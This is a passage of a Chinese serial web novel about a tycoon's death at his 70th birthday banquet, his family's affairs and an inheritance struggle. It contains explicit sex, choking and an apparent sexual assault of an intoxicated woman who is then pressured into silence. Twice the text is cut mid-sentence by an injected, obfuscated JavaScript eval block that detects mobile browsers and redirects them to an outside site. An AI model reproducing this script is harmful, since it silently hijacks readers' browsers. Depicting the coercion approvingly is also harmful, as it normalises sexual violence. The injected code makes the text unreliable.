《棒槌》 1. 寿宴 华悦酒店 欢乐的歌声回荡。 We''re Going on a bear hunt .我们要去猎熊。 We''re going to catch a big one .我们要去抓住一只大家伙。 What a beautiful day !真是个好天气! We''re not scared.我们可不害怕呢。 孩子们的声音混着甜味传进洗手间,覃老爷子边擦手边跟着哼,转身撞上血淋淋拿刀站着的“熊”…… * “啊——!” 客房里,一声声甜腻的呻吟将偷情推向高潮。 “是第一次吗?没跟女朋友试过?”廖爱珠伸手轻轻拨开男人额头上的碎发。窗外烈日灼空,屋内热火朝天,大床快被磨出了火星子。 温柔的动作绞住汪驰文的心,让他一五一十交代:“做过……没成功。” “还算干净,真乖。”廖爱珠轻笑,钓得人心七上八下,让汪驰文差点喘不上那口气,他颤抖着抓住廖爱珠搭在肩上的手,那一刻汪驰文的眼里满是迷恋。 “姐,我还可以吧?” 可以,简直太可以了。 廖爱珠闭眼仰起头享受着。她驭男无数,见这愣头青第一眼就知道是个极品,所以连寿宴进程一半都没到就憋不住找人,生怕这种好货晚半拍让别人抢走。 “嗯,很好。” “真的吗?” “干吗骗你?” “姐,你是我的第一次。”汪驰文紧握她的手郑重其事。 直愣愣的反应把廖爱珠逗笑,她俯身靠上去亲亲他脸颊。汪驰文紧接着追问:“那你的第一次呢?” 这问题难住了廖爱珠,她闭眼想了一会,忽然睁开看着汪驰文说:“我只记得最爽的那次。” 汪驰文满怀期待,没想到廖爱珠却回答:“……在拉斯维加斯,可能是个外国帅哥吧!嗯,反正很爽。” 她仿佛在回味,想着那一晚的纸醉金迷,在下一波欢愉即将涌上时房门不合时宜被敲响。 “是谁?!” “不用管。” 敲门声又利落地响了两次,没过多久房门直接刷开,高大笔挺的身影走进来吓得汪驰文跌下床,床头铅笔被毯子一卷直接滚到那人皮鞋跟前。 三人皆无动作,远方电梯处传来孩子们的歌声。直到汪驰文在瞪视下抓起衣服仓皇逃离,站着的覃原祺才踢上门开口:“你就这么迫不及待?” 公公七十大寿寿宴,大儿媳拉着侍应生跑到客房偷情,可真是锦上添花。 廖爱珠翻身下床,抓起浴袍走到他身边,“无聊嘛!贺寿那么多人又不缺我。” “你很讨厌我爸?” “怎么会呢!”廖爱珠娇嗔,纤长的双手玩弄浴袍带子,那性感高挑的身躯裹着浴袍半遮半漏,覃原祺垂眼看着对面挺着胸脯压上来。 “嫂子,蛋糕还没切——”最后的“呢”字让廖爱珠堵在口中,浴袍被大手揉搓着渐渐滑落,两人抱在一起。男的鲸吞蚕食,女的欲壑难填。西装外套蜕落在脚下,被偶尔一束光照着显得萎靡干瘪。 “快点。” “快什么?”覃原祺问。 “你快点!” 覃原祺鼻尖磨蹭她脸蛋,装傻充愣。 “覃原祺!”廖爱珠瞪眼,手往下一探,“你不搞别耽误我找别人。” 话音刚落,覃原祺猛地抓住她手腕压在上方,拽出皮带啪地抽在廖爱珠胳膊上将她手腕绑住,“你背着我找男人的帐还没跟你算。” 以往在情事上覃原祺还算温柔,今天不知道吃错什么药,廖爱珠见状磨蹭他打趣:“你吃醋了?” “我吃谁的醋?”覃原祺解开裤子。 廖爱珠从善如流,但嘴上还是忍不住拿话刺他:“你怎么了?嗯……我能跟你玩也能跟别人玩。你玩过多少女的我还没追究呢,你倒多管闲事。” “话怎么这么多?” 覃原祺挺直腰把她的头按在被子里,“我替我哥收拾你。” 廖爱珠被逗得咯咯笑,一边笑一边喊:“快点收拾我,再狠一点。” 这没皮没脸的样实在惹人烦,覃原祺换了个姿势把她的嘴彻底堵住。 * 汪驰文被赶出来抱着衣服溜到杂物间,一路上看不见半个人影。今天覃源集团董事长摆寿宴,八层大蛋糕被孩子们撞倒,楼下忙得人仰马翻。门外停放的垃圾车上对讲机叽哩哇啦吵个不停。吵着吵着声音渐渐不对,他慢慢拿起对讲机,那头不知道谁喊了一句:“快救人!” 这晚南湖市下起暴雨。 车灯在雨夜里格外刺眼,黑色车身映出两旁灯火通明,一辆辆豪华轿车鱼贯驶入街尽头南湖市中心医院。 傍晚6点,覃源集团高层全部聚在病房,一个个穿得花红柳绿,带着一身喜气哭丧。 此时已有两三位记者守在门外,保安早早将人拦在一边腾出空间让覃原祺和廖爱珠匆匆路过。 “你让我怎么办啊,冤家,冤家!!”屋内穿得最喜庆的那位扑跪在床边嚎啕大哭。没嚎几声就让人架起来拖到窗边。妇人挣扎,被拽出了和那幅裸男对手指的油画一模一样的造型。 老爷子被发现时其实已经没救了,但功夫还要做足,不能让股价也跟着一起断气。众人七手八脚把人拉到医院,一个个跟“天凉王破”的霸总一样命令院长上高科技,硬是在阎王面前讨来半晌命。 像是就为了等人,覃原祺一到老爷子便彻底断气。记者听见动静从门外冲进来拍照,覃原祺抓着亲爸的手跪在床前摆造型。窗边的妇人又开始嚎哭,哭得像个傻子,廖爱珠忍不住冲上去捂住她嘴低声骂:“妈,别嚎了。” 女人哭声更甚。 屋内乱糟糟,保安七手八脚将记者们拖出去。覃原祺赶紧站起来对身旁员工交待:“新闻稿写好了发我看看,现在快去接待媒体。” 一直站在角落的覃原路这时走到廖爱珠母女跟前,还未开口廖爱珠便先发制人:“老公你跑哪去了?我打你电话也不接,到处找不着你。” 其实她就在路上给覃原路打过一通电话,反倒是覃原路在出事时给她打了好几通。覃原路期期艾艾说不清,只好拍拍她后背安抚两下又转身和医生处理手续。 一股咖啡香突然代替消毒水味充斥房间,许怡宸端着两杯热美式越过自家老爸和大哥直接递给廖爱珠,“姐,喝点东西。” 公公七十大寿喜事变丧事,廖爱珠烦闷到极点,“我喝不下,没心情。” 许怡宸笑着说:“这才哪到哪?” 死了个人而已。 * 深夜,覃家一行人回到老宅。 廖爱珠睡到后半夜起身去厨房煮牛奶。 窗外飘着雨,她拢了拢睡袍倚在台边。宅子里的床廖爱珠睡不惯,结婚之后不到半年她就撺掇着覃原路搬出来。逢年过节倒是也回来,就是从来都不过夜。 “还不睡?”声音从厨房门口传来,吓得廖爱珠一个激灵。覃原祺走近将她抱在怀中,低头吻着她额头柔声问:”睡不着?” 热牛奶在锅中沸腾,滚出泡沫烧在锅外边劈啪作响,她推开人转身把火关上。 雷声乍响,覃原祺凑上去扯开她的睡袍在脖子胸前啃吻。 廖爱珠半推半就,“别这样,弟妹也在。” 这话就是催情剂,让覃原祺更兴奋了。廖爱珠进覃家四年和他一起三年,三年里十次见面九次为了做,哪怕对方伴侣在场也要找机会见缝插针。他很清楚廖爱珠在用这句话当免责声明,因为她现在两手正抱着他的脑袋急切地让皮肤追逐自己的吻。 屋外草坪灯的光把两人变成剪影,一团黑影挤在墙上,窸窸窣窣躁动难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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咣啷!烧糊的奶锅被打翻在灶台散发腻人焦糊味。廖爱珠靠在台边,衣裙不断被牛奶浸湿,身上的肉几乎压在台边勒出深深的痕。 覃原祺钢筋般粗壮的手掐着她,粗长的手指扣在廖爱珠脖颈上像铁钳夹豆腐。 从来没男人敢这么对待廖爱珠,她窒息到几乎翻白眼,用指甲死死抠住对方手腕,拼命张开红唇挣扎求饶。 “救,呃——” 片刻,覃原祺松手,让人跌坐在地。 廖爱珠涨红脸咳嗽着,这样的暴怒让她彻底老实。她不敢再乱来,跪在地上攀住覃原祺大腿哭哭啼啼。 雨停了,月光冷冷。覃原祺俯视脚下。 婚是一定要离的,但可以从长计议。 “……现在丧事要紧,离婚的事我再给你几天考虑。”他转头凝视窗外,“我们都离婚,对双方都公平。” 廖爱珠没做回应,突然手轻扯覃原祺裤腿指向前方,客厅不知何时亮起一盏小灯。 ~*~*~ 南湖市公安局,深夜 刚入职半年的小警察正在网上津津有味翻看论坛里关于覃源血案的讨论,一条条爆料编织出一个堪称魔幻的故事。 老警官从他身后路过,敲他脑袋骂道:“瞎看什么?早点回家。” “师傅,网上把覃源这帮人底裤都扒出来,太精彩了。” “我们有一手资料你不去找突破口,看什么乱七八糟的?” 小警察关掉网页转身,胆怯又忍不住顶嘴:“现在是下班时间,我看看当消遣也不行?” “你……快回家!” “好嘞!” “回来!” “是!” “我第一天告诉你的东西还记得吗?” “记得,天网恢恢疏而不漏,作恶之人终究逃脱不了天道与法律的制裁!” 2. 风雨飘摇 “老公?” 覃原路坐在沙发垂下头,手中握着手机正一遍遍循环播放白天寿宴的视频。廖爱珠轻手轻脚走上去,弯腰仔细瞧了一瞧将他耳机摘掉。 “老公,你什么时候下来的?” 后者睡眼惺忪,揉揉眉心靠在沙发,等了一会哑着嗓子解释:“不知道,我睡不踏实就下来坐一会。” 一天之内大喜大悲,覃原路睡不着又怕影响廖爱珠便独自找个角落待着,在这种小的生活习惯上他向来对妻子体贴入微。 见虚惊一场廖爱珠顿时放下心。 屋外草坪灯熄灭,但外面仍然亮亮的,是天空的亮光。 一声小心翼翼的问好让三人同时看向楼梯处,佣人安安静静站在那里,这个时间阿姨该起床准备早餐。 廖爱珠捂着嘴打了个哈欠,牵起覃原路准备上楼。覃原祺却在原地喊住他们,“哥。” 后者停住脚步,慢慢转身。 “你猜我刚和嫂子在说什么?” 如果说覃原路承袭了覃家温良恭俭的美好品质,那么覃原祺就继承了覃老爷子卑鄙无耻的下流品性。 “你们说了什么?” 覃家兄弟一位温文尔雅闻融敦厚,另一位则金玉其外败絮其中。 “嫂子,可以告诉我哥吗?” 清晨的宁静格外刺耳。廖爱珠如遭当头一棒,瞬间哑了嗓子。她知道覃原祺如今可以肆意妄为,这一波发难明明白白是冲着自己来的,就是让她清楚夜里提的事如果敢敷衍,他会像现在这样将事情摆到台面给所有人一个震撼。 廖爱珠顿了两秒,突然转过身冲覃原路劈头盖脸一顿骂:“说你个头,放个屁你也惦记半天。“她一脚迈上阶梯,心里把覃原祺骂了个透,嘴上依旧对覃原路叨叨:“还不是大半夜我找不到人以为你被你爸带走了!” 覃原路愣了片刻忽然笑着靠上去抱住廖爱珠,让喋喋不休的嘴一下子住了声。 “别担心,我只是想我爸了。”他的声音透着一股惆怅,“爸对我说的最后一句话是让我把视频发给他看看,我还没来得及给他看一眼。” 命运无常,谁能想到死神会在这么欢喜的日子收割生命。 奢华贵气的水晶吊灯重重悬在三人头顶,映在大理石地面好像一道旋涡,卷着覃老爷子的那股晦气死人味,等待盘旋出一场风暴。 乌鸫一声尖鸣,廖爱珠顺声望去。覃原祺站在窗前,表情被薄薄一层光盖住,分明看得清却叫人猜不透。 豪商巨贾的死是炸药炸开了金矿,人人都扛着锄头准备大捞一把。利益面前的真心能有几分真,会信的人不是傻子就是疯子。 隔了很久,廖爱珠推开覃原路转身,上楼前撂下话:“我去睡觉,没事别烦我。” * 这一觉她睡到大中午,迷迷糊糊梦到自己和覃原祺的事被揭穿,平日里交好的太太们围着数落她不知廉耻,还拿爱马仕包包打她。廖爱珠大吼大叫像个疯婆子诉苦。众人觉得她命好嫁进高门当少奶奶还不知足,哪里明白她背后的心酸?最开始廖爱珠是想当好贤妻良母,做个人人夸赞的覃家少奶奶的。 一结婚覃原路那个性冷淡就开始让她守活寡。 两人一张床上睡,也抱她也亲她,但是死活不愿意操她。起初廖爱珠怀疑过自己是不是嫁了个阳痿,可是几次试探覃原路的反应都很正常。 硬生生忍下来的理由不是生理上就是心理上。她委婉问过覃原路介不介意自己以前有过几个男朋友,当时覃原路在电脑上打德州扑/克,一把梭/哈冲到积分榜第一,兴高采烈抱起她转了一圈说有男朋友太好了多多益善,然后聚精会神投入下一局游戏。 廖爱珠问了白问,郁郁寡欢,那阵把她一个性热情打击得偷偷跑去看心理医生。 “太太。”佣人敲敲房门进屋,站在门口端着接通的手机轻声对廖爱珠说:“太太 ,二少有急事联系您。” “我不是说别进来吗?” 门口无声,等了一阵廖爱珠才叹口气伸手,“拿来。” 电话放在手心,她依旧闭着眼,耳朵里传来不冷不热的话:“来开会。” “不去。” “原因。” 廖爱珠睁眼,见房中已没人便直接说:“让你弄得一夜没睡。” 她就是要趁覃原祺开会的时候撒泼,对面的沉默使她心情愉快,廖爱珠转个身躺平,扶着手机望向有些陈旧的天花板听着那边回应:“那你电话表决。” “同意同意都同意!” 如今她说不同意也没用。她手里的一切都是覃家给的,没权利说不。覃原祺早在几年前就被指定为接班人,所有的路都为他铺好。老爷子怕兄弟争权还有意架空覃原路。 覃原祺也算有本事,身上那股精明狠劲十成十从覃老爷子身上拓下来的,这几年对外收购信托拿到金融牌照又不停吸纳资金扩张企业,对内一直穷追猛打彻底将覃原路逼出集团才收手。他就像一头永远吃不饱的贪狼,将对手蚕食鲸吞。 廖爱珠不止一次在想——如果当初选的是覃原祺,一切会不会不同? 不等那头回应,她直接挂掉电话。已成定局的事费神去想还不如约人打两圈来得实在。 窗外又下起雨。 * 会议室大门紧闭,覃原祺放下电话侧头对身旁交待一句又继续翻阅手中资料。 这场会议除了廖家所有人到齐,律师站在前方准备宣读遗嘱。 遗嘱覃老爷子生前早早写好,自他五十岁写到现在已经改过十几版。财产也从最初覃家两兄弟平分变成由家族信托打理。外人只看见继承人是覃原祺,实则真正的财富还是掌握在老爷子自己手中。生不带来死不带去的东西老头到最后一刻还是放不下。钱,到了地府也是他的钱。 覃原祺不过是他在阳间的代理人罢了。 “风月路那家温泉酒店怎么样?”问话的人是程励娥。 昨天寿宴他正在海上钓鱼,今早船靠岸才收到消息。程励娥抽空洗了个澡便赶来开会,他不来不行,程家现在就剩他了。 屋里没人回答,只有坐他旁边的大胖傻子一边捡笔一边上赶着搭话:“你是说新开的那家吗?很好哇!” 许怡宸翘起二郎腿躺在椅子里戏谑望向自家大哥,“那有什么啊,怎么都往那跑?”他一开口基本没憋好屁,尤其对他大哥。但凡有一丝机会让他大哥丢脸,许怡宸都得削尖脑袋往上冲。 “新开的,房间里池子大。”傻胖子用手比划一下,“十个我都能装下。” “挺能装啊哥。”许怡宸笑起来。大哥听出这话不对劲,指指他说:“你小子,不是我能装,是池子能装!” 程励娥大笑。许董沉下脸盯着身旁,胖子这才意识到自己出丑,又没好气瞥一眼给自己下套的许怡宸。 覃原祺咳嗽一声打断闹剧,沉声迅速说道:“现在开会。” 一瞬间屋内噤了声,只有傻胖子又把笔摔在地上。 咵哒。 * 一张牌打出去。 “碰。” 廖爱珠下午睡醒临时凑了个牌局,本来要约家里打牌,太太们想吃华悦的下午茶顺便做spa,她索性就安排在华悦的包房。 电视正在报道昨天酒店的意外,廖爱珠伸手一指,经理识趣将电视关上。 “吃!糊了。” 麻将推倒重来,除了廖爱珠都喜笑颜开。 “可惜你老公不在。”坐廖爱珠正对面的太太摸摸自己胸前祖母绿吊牌打趣,“不然能少输点。” 廖爱珠歪头从kelly包中拿烟点上靠在椅子上道:“他去山里接大师了。” “哦对,你家……” 她们说的人在南湖市附近的山上隐居。此人算命,看风水的功力一绝,因此在圈子里很受尊敬,有婚丧嫁娶开盘开业的大事,各家都要亲自开着至少奔驰级别以上的车去请师傅出山来算一算。 这次覃老爷子的后事肯定也要请师傅过来。 “这回不用你操心了?”刚才胡牌的太太顺嘴搭话。 ”忙里偷闲。“廖爱珠眼梢挑起,“趁现在不忙出来松快松快,后面有得我受呢。” 她刷地弹出一张牌,紧接着被下家拿起。 “碰,?可有得忙喽!” 窗旁生财水晶球溜溜转起来,牌桌上噼里啪啦,太太们连吃带碰。 “上个月我在医院见覃董身体还挺好的。” “老人年纪大了就变成瓷,不碰不摔什么都好。” “哎呀,覃董有哮喘的。” 大家又静了一阵,一个太太忽然开口:“好端端的人就没了,还是在寿宴上,跟算好了似的。” 覃老爷子死得蹊跷,哮喘发作倒在卫生间,全家在华悦摆寿宴偏偏没一个人带药,又偏偏好长一段时间没人发现他消失。舆论从昨天发布讣告便逐渐发酵,到现在流言蜚语四起。与之相反的是覃源的股价今天一直跌,跌得可接地气。 “除了老天谁能算?”廖爱珠将烟捻灭,“人算可是要天打雷劈的。” 她打出一张红中被捡走。 “杠!” “呀,快胡了。” “危险危险。” 廖爱珠瞥一眼窗户,外面的雨隐隐变大,耳边传来太太们的争论:“再不动手就来不及喽!” * 细雨随着风一片一片打在窗户上。后勤将窗户关好捧着茶壶退出会议室。 “我已经申请对我父亲进行尸检。”宣读完遗嘱,覃原祺继续下一个议题。 他的话引起众人瞩目,本人却两手交扣放在腹间,没事人一样靠在宽大的皮质办公椅内淡漠扫视四周问:“很惊讶吗?” 外面流言愈演愈烈,意外变成谋杀,甚至扒出覃家的发家史,再发酵下去谁也不敢保证是什么走向。 “宣布尸检,稳定股价。”程励娥用钢笔撑住桌面敲敲,“现在的情况虽然被动,但好歹给外界一个交代。” 许董眉头紧皱,“万一尸检结果出了也于事无补呢?”他重重放下茶杯,“老覃对身后事讲究,不喜欢这样。” 如今集团元老只剩许董,他也是桌上为数不多可以随心所欲说话的人。 覃原祺坐直身体反问:“您的意思是反对尸检喽?” 所有人看向长桌一侧,屋子一瞬间火药味十足。 新老势力的斗争悄然拉开帷幕。 许董沉声反击:“我说得很清楚,你别给我扣帽子。” “许董这是给我扣帽子。” “放屁!” 覃原祺反问:“难道我连调查我父亲死因的权利也没有吗?” “谁反对你调查了?” “那您到底是反对还是不反对?” “尸检没有意义,你爸不喜欢。覃源堂堂一个大集团,怎么能由那些刁民说什么就是什么,可笑!” “那我也是刁民,刁民的想法就是我的想法。覃源是由活人做主。许叔,如果我爸是死于非命这件事你来负责吗?” 许董被逼得张口结舌,拍桌子大怒:“覃原祺,覃家的股份还没到你手里呢!” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488391|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道雷电惊破长空,街道昏暗如夜。车声警报四起,风声呼啸穿过楼宇之间,霎时盖过所有争吵。 等到外面安静,许怡宸率先开口:“这事还没问廖老婆子的意见呢!” 正常说来今天这么重要的董事会廖爱珠的母亲廖董作为覃家信托公司代表应该列席参会,但覃董事长出事后她也一病不起。今天一大早助理便打电话过来说她正在住院挂水。 “等她病好黄花菜都凉了。”程励娥到现在也现出原形。他无所谓最后怎么处理,这屋子里的人没一个看得顺眼,多拱火就能多看会热闹。 许家一个大傻子,一个老糊涂,最后只剩许怡宸还没表态。许董唱黑脸试探过覃原祺的底,该轮到他唱白脸递台阶。就如同捕猎,有紧有松才能抓住猎物。 “我爸的意思不能头痛医头治标不治本。”许怡宸提出折中方案,“与其被舆论牵鼻子走不如花钱引导舆论。我手里有几个小明星的料还压着,可以托人放一放。”他一边说一边翘起二郎腿转悠椅子,“老头子感同身受,生怕哪天死了我和我哥也给他开膛破肚呢吧!” 说完众人哈哈笑,唯独覃原祺和许董阴着脸,没笑两声会议室又陷入尴尬沉默中。 新官上任三把火,不烧个大火燎原镇不住妖魔鬼怪。 覃原祺起身,宽大双掌压在红木桌面手背青筋凸显,掷地有声:“有两个问题请大家搞清楚, “第一,集团架构变动必须做到平稳落地,稳住集团稳住股价。” “第二——”他颔首双目锐利扫视台下,“尸检是覃家家事,不需要经过外人同意。” 在律师宣读完遗嘱那刻起覃原祺便有资本既要又要,覃家的一切如今已在他的囊中。机关算尽又如何?死人?开不了口,覃源的一草一木怎么动也只能听他覃原祺的。 “舆论要压——”他坚定说道,“尸检也要进行。” 外面风雨飘摇。 * 夜晚,廖爱珠开车回到覃宅。佣人算好了时间拿着烤暖的大毛巾站在地库电梯门口迎接,等车门一开便将毛巾披在廖爱珠肩上。 “太太,晚饭已经准备好了,一会您是在楼下餐厅用餐还是给您端到三楼?” 厚毛巾吸掉一身水汽,廖爱珠没淋到一滴雨,裹着毛巾随口问道:“小纯吃过没有?问她想在哪吃?” 她还没玩尽兴,打算晚上和自家人喝点酒再打上两圈。覃原祺那个人渣眼光刁,娶的老婆人美心善性格很好,与廖爱珠妯娌之间甚是和睦。有时比起覃原祺,她更喜欢找他老婆逛街打麻将。 “刘总在您出门之后回家了,说今晚不回来。” 电梯门开,廖爱珠停住脚步。阿姨见她反应不好在后面犹犹豫豫。等到门又关上,她没好气道:“你让我一直站在这里呀?” 门又迅速被按开。 覃原路今天去山里接师傅不回来,弟妹一走晚上覃家只有廖爱珠一人。早知道这里没人她宁愿看她妈也不会回来。 等上到三楼,白皙的脚咣咣踢掉细高跟,廖爱珠一脚扫开早已摆好烘暖的拖鞋直接踩在地板上。她如瓷如玉般精致漂亮,从头到脚只有红亮的脚指甲显得莹润讨喜。 “一会端碗鸡汤到我房里。”廖爱珠飞快交待,然后气冲冲走回房中。 佣人站在电梯前没有继续跟。三楼是廖爱珠和覃原路的私人空间,没有特殊情况不准随意进入,特别是在廖爱珠心情不好的时候。 廖爱珠一路走一路解扣子,脚底热度在木地板上烫出印子又迅速散开。等房门关上,她一口气脱个精光,走向浴室准备泡澡。 淋浴的水流化为湿热烟雾弥漫,架子上音响继续播放上次没唱完的爵士乐。廖爱珠从柜子里拿出浴球扔进浴缸,等水变成奶白色,她握住红酒杯一屁股坐进去。 冷白的灯光被顺手调成暖黄。 廖爱珠抿一口红酒,拿起小方巾沾了水然后拧干,热热的盖在脸上享受这一刻。 Keep me warm in your love and then you softly leave And it''s me you need to show…… “什么时候听过这歌?”她完全没印象,只将手搭在浴缸外摇晃酒杯哼歌。 How deep is your love How deep is your love 一股凉风吹散浴室热气,这个时间点鸡汤应该被热好送上来。 “汤放茶几上吧。”廖爱珠继续盖着毛巾躺在浴缸边。酒精作用下她的意识飘飘然,完全没注意有人正一步步靠近,直到粗粝的手指扣住她肩膀沿着细腻湿润的皮肤往前抚摸的时候,廖爱珠才扯掉毛巾猛地弹起。 “怎么是你?!” 覃原祺扯开衣领扣子,先一步扣住她的手腕,一把将人拉到身前。拉扯间,红酒杯掉在地上泼出一滩红,水花四溅,把覃原祺衬衫也弄湿大半。 “别动。” “放开我!” 廖爱珠挣扎,甩手一巴扇得对面的脸微微一侧。 覃原祺微微低着头,面无表情摸了摸脸颊,额前发梢落下水珠滴在廖爱珠大腿上。 廖爱珠抖了一抖,惊慌僵在半空的手一缩,下一秒已经抵在厚实的胸膛。 近乎啃噬的吻落在她身上,吓得她予取予求不敢再反抗。 “我让你一夜没睡是吧? “说呀,不是很能说吗?!” “唔……” 唇瓣从苍白到鲜红如渗血, 3. 脱轨 廖爱珠和覃原祺的第一次是在结婚周年派对那天,算不上你情我愿但也不是出轨,至少在廖爱珠这不是出轨。 结婚一年,她和覃原路没有一次夫妻生活。廖爱珠绞尽脑汁想有点突破,可覃原路就跟爱马仕配货一样中看不中用。她划烂台球桌,砸碎电脑甚至把覃原路珍藏的扑克牌全部烧掉,这傻帽也只会笑嘻嘻问她再买个什么样的好。撒泼打滚在覃原路那就像拳头砸在棉花上让廖爱珠无可奈何。 周年派对前一晚,廖爱珠还在费劲巴力勾引自己老公,没想到覃原路醉醺醺回来对她说他们只是被利益捆绑的两个陌生人。 老爷子做主给的那些当彩礼的股权其实是从覃原路手里抠出来的,目的就是要利用廖爱珠牵制他,将原本属于他的财产上道锁。他和廖爱珠签的那份夫妻协议里许多条款埋了坑,再加上廖母的关系使这5%的股权实际相当于收回到老爷子自己手中。 覃原路嘟嘟囔囔道歉,说自己在集团已经是废人一个。 廖爱珠豪门梦碎,第二天望着满座宾客为他们夫妻献上祝福,丝毫不给面子喝个酩酊大醉。 “来,再打一圈。” “别喝了……” “没事!” “哎真是,你老公去哪了?” 证也没领,性生活也没有,现在还告诉她只是陌生人,他覃原路到底算哪门子老公? 手里酒杯在拉扯中被拿走,廖爱珠翻来覆去看自己双手,等数清楚一共十个红指甲才后知后觉,“我酒呢?酒杯!” 眼前一晃,周围人消失不见,只剩天花板东摇西摆。 身体在寸寸灼烧,烧得她七死八活。 廖爱珠抻着脖子口干舌燥呻吟:“好渴……” “一会让你喝水。”一道声音对她说。 像是知道她的痛苦,迷乱中一双手撕拉一声解除了束缚。她咕哝骂了句王八蛋,在冷得打哆嗦时炙热的温度覆上身躯。 那是一团火,却是她的及时雨。这一次的灼烧不再煎熬她的心。软厚大床被挤压着摆动,久违的快乐感觉让廖爱珠全身每个细胞都在沸腾跳跃,思想迟钝麻痹,感官异常灵敏。 她如同飘荡在绵厚的云端一般舒畅。 浓浓酒气随汗水蒸腾,额角的汗液渗进眼睛,刺痛使廖爱珠理智回笼,一点点看清眼前的景象,随即尖叫一声将人掀开。 覃原祺被推到床下,怔愣片刻很快镇定,抓住廖爱珠脚踝把人拖到身边,淡定说道:“先做完。” 健硕挺拔的身躯带着滚烫温度又要压在廖爱珠身上,柔软的床铺被压出一道道折痕围着廖爱珠。她傻愣在那,寻思半天才反应过来,转身扯断电话机砸向覃原祺破口大骂:“你个王八爹P眼拉出来的王八蛋!” 廖爱珠一边骂一边爬起来找衣服,发现裙子被扯烂又是一波暴怒,跳到覃原祺身上对他拳打脚踢。 屋外,保洁员熟练打开吸尘器,推着从走廊一端走向另一端。噪音充斥整个楼层,只有这里不用担心有客人投诉,顶层的房间留作招待用,平时根本不会有外人上来。 在这里覃原祺可以为所欲为。 “嫂子,生气了?” 屋内一片狼藉,玻璃渣碎散一地。覃原祺叼着烟不紧不慢系袖扣,瞟了一眼磕破的眉角,目光转而看向镜中的廖爱珠。 她披头散发坐在床中央,抱着被子声泪俱下控诉:“我要报警。” 话说完手机马上被送到跟前晃了晃,覃原祺站在床边垂眼问道:“要不要帮你打电话?”随后手指迅速按下110并且外放。 廖爱珠僵硬地抬眼,两人在回铃声中对视。 电话接通的那一刻,她抢上来将手机摔掉。 “不是要报警吗?”覃原祺斜睨她,抬手抽了一口烟又仰头享受地将烟雾喷在空气中明知故问,“怎么挂电话了?” 廖爱珠沉默不语。 阳光照在地上玻璃缸折射出一道光,光影在屋子里晃了一圈又落回桌上,覃原祺靠在桌边朝缸里掸了掸烟灰,这才云淡风轻说:“别闹了,没用的。” 以覃家在南湖市的背景这件事闹到台面上吃亏的只有廖爱珠。她没有能力和覃家撕破脸,到时一意孤行别说覃原路,可能就连亲妈也不会向着她,这一点双方心知肚明。 房门敲响,覃原祺看她一眼走去开门,等再回来时拿来和先前一样的裙装。 “洗手间有化妆品。”他吐出一口烟直接按灭烟头,将衣服递给廖爱珠,“收拾一下别让我哥发现。” 廖爱珠表情木然,伸手去拿拿了个空。她抬眼,只见覃原祺嘴角轻挑,眼神不带一丝温度盯着她警告:“我们是男欢女爱一时冲动,错也是两个人的错,记住了?” 衣服重新递到跟前,廖爱珠一把抢过直接走进浴室,等再出来时她重新恢复成早上那副光彩照人的模样。 “我送你回去。”覃原祺靠在桌边打量廖爱珠,目光将她从头扫到尾,看着婀娜的背影走到门口沉默半晌对他说:“一起回去不好解释。” “难道我哥会问你吗?”覃原祺的声音里带着笑。 覃原路从来不过问,家中的大小事他没一件放在心上。连最初这个结婚纪念日派对也是吃饭时覃原祺提了一嘴,老爷子拍板压着覃原路做的。 廖爱珠哑口无言,抓起包狼狈离去。 节假日马路上车来车往,她随手拦了一辆出租匆匆回家。半道覃原路打来电话道歉说他刚才被朋友拉走救场现在还抽不开身。他在廖爱珠被带走之前已经离席,连party结束了都不知道。此时廖爱珠也没心情追究,随口说两句便由他去了。 等回到家,她卸了妆换上睡衣,路过窗前时顿住脚步。家里卧室的窗能看到小院外的道路,尽管有茂密的灌木丛遮挡,她还是可以清楚看见那辆黑色阿斯顿跑车和熟悉的身影。 一缕缕烟顺着金银花藤飘上栏杆。楼外那人似乎察觉到窥探的目光朝窗口看来。 廖爱珠慌张缩在窗帘后,等了一会又悄悄探头,竟和那目光正好对上。 叮铃! 她赶忙拉上窗帘,手机在这时亮起,显示发来信息:“嫂子” 发信人正是覃原祺。 * 周一,覃源高层开晨会,廖爱珠破天荒来到公司。 “喝咖啡吗?” “你怎么进来的?别乱动。” 18楼会议室旁是她的办公室,但廖爱珠嫌弃霉味从来不用,她偶尔过来就呆在覃原路的办公室,有人来找也直接去覃原路办公室等她。 “怕什么?都去开会了。”咖啡香气飘散,许怡宸从机器下端起做好的咖啡抿一口又嫌弃道,“赶紧叫你老公把咖啡换了,泼街上狗都不喝。” “他喝茶。”廖爱珠用桌上杯子接了温水,顺手将外衣脱下扔向沙发,“难喝就不喝,你这张嘴怎么连自己都骂?” 大衣之下的雪纺白色衬衫透出肩甲骨凸起,她身材高挑挺拔,搭配的职业装穿在身上显得精英又松弛,活脱脱一个职场丽人。虽然屁都不懂,但不影响她人靠衣装糊弄过无数重要场合。 这身打扮看得许怡宸心猿意马,大学毕业那天廖爱珠也是穿着差不多的衣服来学校参加他的毕业典礼,两人还跑到宿舍干了一炮。许怡宸靠上去,双手在廖爱珠肩膀上不轻不重揉捏,凑在她耳边问:“什么时候回家一趟?” “回了呀,上周才回去看我妈了。” “你知道我的意思。”他亲了廖爱珠一口,双手渐渐下滑往她胸上摸,又埋头于她脖颈间,鼻尖刮蹭细腻甜香的皮肤闷闷道:“想你了,好想跟你做一次。” 